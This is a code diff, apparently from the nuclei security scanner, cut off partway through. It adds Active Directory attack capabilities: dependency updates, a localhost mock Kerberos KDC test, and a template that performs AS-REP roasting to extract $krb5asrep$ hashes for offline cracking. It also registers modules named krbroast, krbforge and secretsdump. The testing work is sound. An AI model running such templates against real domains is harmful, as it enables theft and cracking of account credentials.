diff --git a/go.mod b/go.mod index e22b23d1fc..f2d49856ec 100644 --- a/go.mod +++ b/go.mod @@ -52,6 +52,7 @@ require ( github.com/Masterminds/semver/v3 v3.4.0 github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d + github.com/Mzack9999/goimpacket v0.0.0-20260422121140-7085336a0415 github.com/Mzack9999/goja v0.0.0-20250507184235-e46100e9c697 github.com/Mzack9999/goja_nodejs v0.0.0-20250507184139-66bcbf65c883 github.com/alexsnet/go-vnc v0.1.0 @@ -73,7 +74,7 @@ require ( github.com/fatih/structs v1.1.0 github.com/getkin/kin-openapi v0.132.0 github.com/go-git/go-git/v5 v5.18.0 - github.com/go-ldap/ldap/v3 v3.4.11 + github.com/go-ldap/ldap/v3 v3.4.12 github.com/go-pdf/fpdf v0.9.0 github.com/go-pg/pg/v10 v10.15.0 github.com/go-sql-driver/mysql v1.9.3 @@ -91,6 +92,7 @@ require ( github.com/maypok86/otter/v2 v2.2.1 github.com/mholt/archives v0.1.5 github.com/microsoft/go-mssqldb v1.9.2 + github.com/oiweiwei/go-msrpc v1.2.12 github.com/ory/dockertest/v3 v3.12.0 github.com/praetorian-inc/fingerprintx v1.1.15 github.com/projectdiscovery/dsl v0.8.14 @@ -261,11 +263,13 @@ require ( github.com/hdm/jarm-go v0.0.7 // indirect github.com/iangcarroll/cookiemonster v1.6.0 // indirect github.com/imdario/mergo v0.3.16 // indirect + github.com/indece-official/go-ebcdic v1.2.0 // indirect github.com/itchyny/timefmt-go v0.1.6 // indirect github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect github.com/jcmturner/gofork v1.7.6 // indirect + github.com/jcmturner/goidentity/v6 v6.0.1 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/jinzhu/inflection v1.0.0 // indirect github.com/josharian/intern v1.0.0 // indirect @@ -315,6 +319,8 @@ require ( github.com/nwaples/rardecode/v2 v2.2.2 // indirect github.com/oasdiff/yaml v0.0.0-20250309154309-f31be36b4037 // indirect github.com/oasdiff/yaml3 v0.0.0-20250309153720-d2182401db90 // indirect + github.com/oiweiwei/go-smb2.fork v1.0.0 // indirect + github.com/oiweiwei/gokrb5.fork/v9 v9.0.6 // indirect github.com/olekukonko/errors v1.1.0 // indirect github.com/olekukonko/ll v0.0.9 // indirect github.com/opencontainers/go-digest v1.0.0 // indirect @@ -335,6 +341,7 @@ require ( github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect github.com/projectdiscovery/machineid v0.0.0-20250715113114-c77eb3567582 // indirect github.com/refraction-networking/utls v1.8.2 // indirect + github.com/rs/zerolog v1.32.0 // indirect github.com/sashabaranov/go-openai v1.37.0 // indirect github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect diff --git a/go.sum b/go.sum index 7320ed7546..3c0640e711 100644 --- a/go.sum +++ b/go.sum @@ -90,6 +90,10 @@ github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb888350 github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4= github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d h1:DofPB5AcjTnOU538A/YD86/dfqSNTvQsAXgwagxmpu4= github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d/go.mod h1:uzdh/m6XQJI7qRvufeBPDa+lj5SVCJO8B9eLxTbtI5U= +github.com/Mzack9999/goimpacket v0.0.0-20260420131935-a9fe473cda7d h1:xX93NZHxxrHcmN4nn1owvJdr1E/l1kp1Rv7rMr9ly+U= +github.com/Mzack9999/goimpacket v0.0.0-20260420131935-a9fe473cda7d/go.mod h1:Wvb2f1Aq6NVL4Fza/dPNxv6/canpeizpgmiTCBGMD50= +github.com/Mzack9999/goimpacket v0.0.0-20260422121140-7085336a0415 h1:lpSZPcbowbxvKFaFvE1reLTCStezWXcRVk0zzBtUatg= +github.com/Mzack9999/goimpacket v0.0.0-20260422121140-7085336a0415/go.mod h1:Wvb2f1Aq6NVL4Fza/dPNxv6/canpeizpgmiTCBGMD50= github.com/Mzack9999/goja v0.0.0-20250507184235-e46100e9c697 h1:54I+OF5vS4a/rxnUrN5J3hi0VEYKcrTlpc8JosDyP+c= github.com/Mzack9999/goja v0.0.0-20250507184235-e46100e9c697/go.mod h1:yNqYRqxYkSROY1J+LX+A0tOSA/6soXQs5m8hZSqYBac= github.com/Mzack9999/goja_nodejs v0.0.0-20250507184139-66bcbf65c883 h1:+Is1AS20q3naP+qJophNpxuvx1daFOx9C0kLIuI0GVk= @@ -129,8 +133,8 @@ github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRF github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 h1:s6gZFSlWYmbqAuRjVTiNNhvNRfY2Wxp9nhfyel4rklc= github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137/go.mod h1:OMCwj8VM1Kc9e19TLln2VL61YJF0x1XFtfdL4JdbSyE= -github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= -github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= +github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI= +github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/alexsnet/go-vnc v0.1.0 h1:vBCwPNy79WEL8V/Z5A0ngEFCvTWBAjmS048lkR2rdmY= github.com/alexsnet/go-vnc v0.1.0/go.mod h1:bbRsg41Sh3zvrnWsw+REKJVGZd8Of2+S0V1G0ZaBhlU= github.com/alitto/pond v1.9.2 h1:9Qb75z/scEZVCoSU+osVmQ0I0JOeLfdTDafrbcJ8CLs= @@ -300,6 +304,7 @@ github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= github.com/containerd/platforms v0.2.1 h1:zvwtM3rz2YHPQsF2CHYM8+KtB5dvhISiXh5ZpSBQv6A= github.com/containerd/platforms v0.2.1/go.mod h1:XHCb+2/hzowdiut9rkudds9bE5yJ7npe7dG/wG+uFPw= +github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/cpuguy83/dockercfg v0.3.2 h1:DlJTyZGBDlXqUZ2Dk2Q3xHs/FtnooJJVaad2S9GKorA= github.com/cpuguy83/dockercfg v0.3.2/go.mod h1:sugsbF4//dDlL/i+S+rtpIWp+5h0BHJHfjj5/jFyUJc= github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= @@ -404,8 +409,8 @@ github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2 github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= github.com/go-kit/log v0.2.0/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0= github.com/go-kit/log v0.2.1/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0= -github.com/go-ldap/ldap/v3 v3.4.11 h1:4k0Yxweg+a3OyBLjdYn5OKglv18JNvfDykSoI8bW0gU= -github.com/go-ldap/ldap/v3 v3.4.11/go.mod h1:bY7t0FLK8OAVpp/vV6sSlpz3EQDGcQwc8pF0ujLgKvM= +github.com/go-ldap/ldap/v3 v3.4.12 h1:1b81mv7MagXZ7+1r7cLTWmyuTqVqdwbtJSjC0DAp9s4= +github.com/go-ldap/ldap/v3 v3.4.12/go.mod h1:+SPAGcTtOfmGsCb3h1RFiq4xpp4N636G75OEace8lNo= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= @@ -458,6 +463,7 @@ github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= @@ -559,7 +565,11 @@ github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORR github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= +github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA= +github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= +github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ= +github.com/gorilla/sessions v1.4.0/go.mod h1:FLWm50oby91+hl7p/wRxDth9bWSuk0qVL2emc7lT5ik= github.com/gosimple/slug v1.15.0 h1:wRZHsRrRcs6b0XnxMUBM6WK1U1Vg5B0R7VkIf1Xzobo= github.com/gosimple/slug v1.15.0/go.mod h1:UiRaFH+GEilHstLUmcBgWcI42viBN7mAb818JrYOeFQ= github.com/gosimple/unidecode v1.0.1 h1:hZzFTMMqSswvf0LBJZCZgThIZrpDHFXux9KeGmn6T/o= @@ -598,6 +608,8 @@ github.com/ianlancetaylor/demangle v0.0.0-20230524184225-eabc099b10ab/go.mod h1: github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4= github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY= +github.com/indece-official/go-ebcdic v1.2.0 h1:nKCubkNoXrGvBp3MSYuplOQnhANCDEY512Ry5Mwr4a0= +github.com/indece-official/go-ebcdic v1.2.0/go.mod h1:RBddVJt0Ks0eDLRG5dhPwBDRiTNA7n+yv0dVFpSs46Q= github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E= github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= github.com/invopop/yaml v0.3.1 h1:f0+ZpmhfBSS4MhG+4HYseMdJhoeeopbSKbq5Rpeelso= @@ -707,8 +719,11 @@ github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8S github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= @@ -790,6 +805,12 @@ github.com/oasdiff/yaml v0.0.0-20250309154309-f31be36b4037 h1:G7ERwszslrBzRxj//J github.com/oasdiff/yaml v0.0.0-20250309154309-f31be36b4037/go.mod h1:2bpvgLBZEtENV5scfDFEtB/5+1M4hkQhDQrccEJ/qGw= github.com/oasdiff/yaml3 v0.0.0-20250309153720-d2182401db90 h1:bQx3WeLcUWy+RletIKwUIt4x3t8n2SxavmoclizMb8c= github.com/oasdiff/yaml3 v0.0.0-20250309153720-d2182401db90/go.mod h1:y5+oSEHCPT/DGrS++Wc/479ERge0zTFxaF8PbGKcg2o= +github.com/oiweiwei/go-msrpc v1.2.12 h1:gaxnv1cyX3v9l+NNxyr4ONyvh/mnmh8Egel9r8zxNxE= +github.com/oiweiwei/go-msrpc v1.2.12/go.mod h1:T6/ENmAoD1nYCr3NW8PS8AjIX0tZEAL7yO0tsejtK18= +github.com/oiweiwei/go-smb2.fork v1.0.0 h1:xHq/eYPM8hQEO/nwCez8YwHWHC8mlcsgw/Neu52fPN4= +github.com/oiweiwei/go-smb2.fork v1.0.0/go.mod h1:h0CzLVvGAmq39izdYVHKyI5cLv6aHdbQAMKEe4dz4N8= +github.com/oiweiwei/gokrb5.fork/v9 v9.0.6 h1:ZMXO5OtzPPSqZ7KPgknVuvHE5iAbSXq5JLgzrkiXknM= +github.com/oiweiwei/gokrb5.fork/v9 v9.0.6/go.mod h1:KEnkAYUYqZ5VwzxLFbv3JHlRhCvdFahjrdjjssMJJkI= github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM= github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y= github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI= @@ -943,8 +964,11 @@ github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUc github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/xid v1.6.0 h1:fV591PaemRlL6JfRxGDEPl69wICngIQ3shQtzfy2gxU= github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= +github.com/rs/zerolog v1.32.0 h1:keLypqrlIjaFsbmJOBdB/qvyF8KEtCWHwobLp5l/mQ0= +github.com/rs/zerolog v1.32.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss= github.com/rwcarlsen/goexif v0.0.0-20190401172101-9e8deecbddbd/go.mod h1:hPqNNc0+uJM6H+SuU8sEs5K5IQeKccPqeSjfgcKGgPk= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= @@ -1404,6 +1428,7 @@ golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= diff --git a/internal/tests/integration/javascript_krbroast_test.go b/internal/tests/integration/javascript_krbroast_test.go new file mode 100644 index 0000000000..9df58ef3e3 --- /dev/null +++ b/internal/tests/integration/javascript_krbroast_test.go @@ -0,0 +1,239 @@ +//go:build integration +// +build integration + +package integration_test + +import ( + "bytes" + "encoding/binary" + "fmt" + "io" + "net" + "strings" + "sync/atomic" + "time" + + "github.com/jcmturner/gokrb5/v8/iana" + "github.com/jcmturner/gokrb5/v8/iana/errorcode" + "github.com/jcmturner/gokrb5/v8/iana/msgtype" + "github.com/jcmturner/gokrb5/v8/iana/nametype" + "github.com/jcmturner/gokrb5/v8/messages" + "github.com/jcmturner/gokrb5/v8/types" + + "github.com/projectdiscovery/nuclei/v3/internal/tests/testutils" +) + +// javascriptASRepRoast exercises templates/ad/asrep-roast.yaml end-to-end +// against a pure-Go mock KDC. The template iterates a list of usernames; the +// mock KDC returns a valid AS-REP only for the roastable user and a KRB-ERROR +// for the rest, mirroring how a real Active Directory DC behaves. +type javascriptASRepRoast struct{} + +const ( + mockKDCRealm = "ACME.LOCAL" + mockKDCRoastableUser = "svc-roast" + // mockKDCASREPCipherHex is a deterministic 64-byte cipher embedded in the + // AS-REP. The first 16 bytes (32 hex chars) become the hashcat checksum + // and the remaining 48 bytes become the data section, producing a stable + // $krb5asrep$ string we can match exactly. + mockKDCASREPCipherHex = "deadbeefcafebabefeedfacef00dd00dbaadc0debaadc0debaadc0debaadc0deabad1deaabad1deaabad1deaabad1deabad1deaabad1deaabad1deaabad1deaa" +) + +func (j *javascriptASRepRoast) Execute(filePath string) error { + kdc, err := newMockKDC() + if err != nil { + return fmt.Errorf("could not start mock KDC: %w", err) + } + defer kdc.Close() + + results, err := testutils.RunNucleiTemplateAndGetResults(filePath, kdc.Address(), debug) + if err != nil { + return err + } + if err := expectResultsCount(results, 1); err != nil { + return err + } + + expected := fmt.Sprintf("$krb5asrep$23$%s@%s:%s$%s", + mockKDCRoastableUser, mockKDCRealm, + mockKDCASREPCipherHex[:32], mockKDCASREPCipherHex[32:]) + for _, r := range results { + if strings.Contains(r, expected) { + return nil + } + } + return fmt.Errorf("expected $krb5asrep$ hash %q in results, got %v", expected, results) +} + +// mockKDC is a minimal Kerberos KDC that speaks just enough of RFC 4120 over +// TCP to satisfy the AS-REP roasting flow: read a length-prefixed AS-REQ, +// extract the client principal name, and either reply with a valid AS-REP +// (deterministic cipher) or with a KRB-ERROR. Used for integration testing +// templates/ad/asrep-roast.yaml without requiring a real Active Directory DC. +type mockKDC struct { + listener net.Listener + closed atomic.Bool +} + +func newMockKDC() (*mockKDC, error) { + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + return nil, err + } + k := &mockKDC{listener: l} + go k.serve() + return k, nil +} + +func (k *mockKDC) Address() string { return k.listener.Addr().String() } + +func (k *mockKDC) Close() { + if k.closed.Swap(true) { + return + } + _ = k.listener.Close() +} + +func (k *mockKDC) serve() { + for { + conn, err := k.listener.Accept() + if err != nil { + if k.closed.Load() { + return + } + continue + } + go k.handle(conn) + } +} + +func (k *mockKDC) handle(conn net.Conn) { + defer func() { _ = conn.Close() }() + _ = conn.SetDeadline(time.Now().Add(10 * time.Second)) + + hdr := make([]byte, 4) + if _, err := io.ReadFull(conn, hdr); err != nil { + return + } + bodyLen := binary.BigEndian.Uint32(hdr) + if bodyLen == 0 || bodyLen > 1<<20 { + return + } + body := make([]byte, bodyLen) + if _, err := io.ReadFull(conn, body); err != nil { + return + } + + username, ok := asReqUsername(body) + if !ok { + writeKRBError(conn, errorcode.KDC_ERR_C_PRINCIPAL_UNKNOWN) + return + } + + if username != mockKDCRoastableUser { + // Mirror a real DC: unknown principals -> C_PRINCIPAL_UNKNOWN, known + // principals that require pre-auth -> KDC_ERR_PREAUTH_REQUIRED. + if username == "krbtgt" { + writeKRBError(conn, errorcode.KDC_ERR_C_PRINCIPAL_UNKNOWN) + } else { + writeKRBError(conn, errorcode.KDC_ERR_PREAUTH_REQUIRED) + } + return + } + + rep, err := buildMockASREP(mockKDCRealm, mockKDCRoastableUser, mustHex(mockKDCASREPCipherHex)) + if err != nil { + writeKRBError(conn, errorcode.KDC_ERR_NONE) + return + } + writeFramed(conn, rep) +} + +// asReqUsername decodes just enough of the AS-REQ to pull out the first +// component of the client principal name. Returns ("", false) if the request +// does not parse as an AS-REQ or has no cname. +func asReqUsername(body []byte) (string, bool) { + var req messages.ASReq + if err := req.Unmarshal(body); err != nil { + return "", false + } + if len(req.ReqBody.CName.NameString) == 0 { + return "", false + } + return req.ReqBody.CName.NameString[0], true +} + +func writeFramed(conn net.Conn, payload []byte) { + hdr := make([]byte, 4) + binary.BigEndian.PutUint32(hdr, uint32(len(payload))) + _, _ = conn.Write(append(hdr, payload...)) +} + +func writeKRBError(conn net.Conn, code int32) { + now := time.Now().UTC() + e := messages.KRBError{ + PVNO: iana.PVNO, + MsgType: msgtype.KRB_ERROR, + STime: now, + Susec: int((now.UnixNano() / int64(time.Microsecond)) - (now.Unix() * 1e6)), + ErrorCode: code, + Realm: mockKDCRealm, + SName: types.NewPrincipalName(nametype.KRB_NT_SRV_INST, "krbtgt/"+mockKDCRealm), + } + b, err := e.Marshal() + if err != nil { + return + } + writeFramed(conn, b) +} + +// buildMockASREP constructs a syntactically valid AS-REP whose outer enc-part +// uses RC4-HMAC (etype 23) with the supplied cipher, which is what +// goimpacket.GetASREPWithDialer parses to format the $krb5asrep$ hash. +// The embedded ticket is structurally valid but its inner cipher is an opaque +// blob since the client never tries to decrypt it. +func buildMockASREP(realm, user string, cipher []byte) ([]byte, error) { + tkt := messages.Ticket{ + TktVNO: iana.PVNO, + Realm: realm, + SName: types.NewPrincipalName(nametype.KRB_NT_SRV_INST, "krbtgt/"+realm), + EncPart: types.EncryptedData{ + EType: 23, + Cipher: bytes.Repeat([]byte{0xaa}, 32), + }, + } + rep := messages.ASRep{ + KDCRepFields: messages.KDCRepFields{ + PVNO: iana.PVNO, + MsgType: msgtype.KRB_AS_REP, + CRealm: realm, + CName: types.NewPrincipalName(nametype.KRB_NT_PRINCIPAL, user), + Ticket: tkt, + EncPart: types.EncryptedData{EType: 23, Cipher: cipher}, + }, + } + return rep.Marshal() +} + +func mustHex(s string) []byte { + out := make([]byte, len(s)/2) + for i := 0; i < len(out); i++ { + var hi, lo byte + hi = hexNibble(s[i*2]) + lo = hexNibble(s[i*2+1]) + out[i] = hi<<4 | lo + } + return out +} + +func hexNibble(c byte) byte { + switch { + case c >= '0' && c <= '9': + return c - '0' + case c >= 'a' && c <= 'f': + return c - 'a' + 10 + case c >= 'A' && c <= 'F': + return c - 'A' + 10 + } + return 0 +} diff --git a/internal/tests/integration/javascript_test.go b/internal/tests/integration/javascript_test.go index c132571c48..c87cd188c5 100644 --- a/internal/tests/integration/javascript_test.go +++ b/internal/tests/integration/javascript_test.go @@ -34,6 +34,7 @@ var jsTestcases = []integrationCase{ {Path: "protocols/javascript/multi-ports.yaml", TestCase: &javascriptMultiPortsSSH{}}, {Path: "protocols/javascript/no-port-args.yaml", TestCase: &javascriptNoPortArgs{}}, {Path: "protocols/javascript/telnet-auth-test.yaml", TestCase: &javascriptTelnetAuthTest{}, DisableOn: javascriptDockerDisabled, Serial: true}, + {Path: "protocols/javascript/asrep-roast.yaml", TestCase: &javascriptASRepRoast{}}, } var ( diff --git a/internal/tests/integration/testdata/protocols/javascript/asrep-roast.yaml b/internal/tests/integration/testdata/protocols/javascript/asrep-roast.yaml new file mode 100644 index 0000000000..9444af3940 --- /dev/null +++ b/internal/tests/integration/testdata/protocols/javascript/asrep-roast.yaml @@ -0,0 +1,57 @@ +id: asrep-roast +info: + name: Active Directory AS-REP Roast (DONT_REQ_PREAUTH) + author: nuclei + severity: high + description: | + Requests an AS-REP for a list of candidate usernames against the target + KDC. Accounts that have UF_DONT_REQUIRE_PREAUTH set return a Kerberos + pre-auth-less response, exposing the encrypted timestamp to offline + cracking (`hashcat -m 18200`). + tags: ad,kerberos,asreproast,impacket,unauth + +javascript: + - pre-condition: | + isPortOpen(Host, Port) + + code: | + const krb = require('nuclei/krbroast'); + try { + const hash = krb.ASRepRoast({ + Username: User, + Domain: Domain, + KDCHost: Host + ":" + Port, + Format: "hashcat", + }); + hash; + } catch (e) { + // KDC returned KRB_ERR_PREAUTH_REQUIRED -> user has preauth, skip + ""; + } + + args: + Host: "{{Host}}" + Port: "88" + Domain: "ACME.LOCAL" + User: "{{usernames}}" + + payloads: + usernames: + - "svc-roast" + - "admin" + - "krbtgt" + + stop-at-first-match: false + + matchers: + - type: word + part: response + words: + - "$krb5asrep$" + + extractors: + - type: regex + part: response + name: asrep_hash + regex: + - "\\$krb5asrep\\$[^\\s]+" diff --git a/pkg/js/compiler/pool.go b/pkg/js/compiler/pool.go index d42c61a669..35c1d3cea7 100644 --- a/pkg/js/compiler/pool.go +++ b/pkg/js/compiler/pool.go @@ -16,9 +16,12 @@ import ( syncutil "github.com/projectdiscovery/utils/sync" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libbytes" + _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libdcerpc" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libfs" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libikev2" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkerberos" + _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkrbforge" + _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkrbroast" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libldap" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmssql" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmysql" @@ -29,6 +32,7 @@ import ( _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librdp" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libredis" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librsync" + _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsecretsdump" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmb" _ 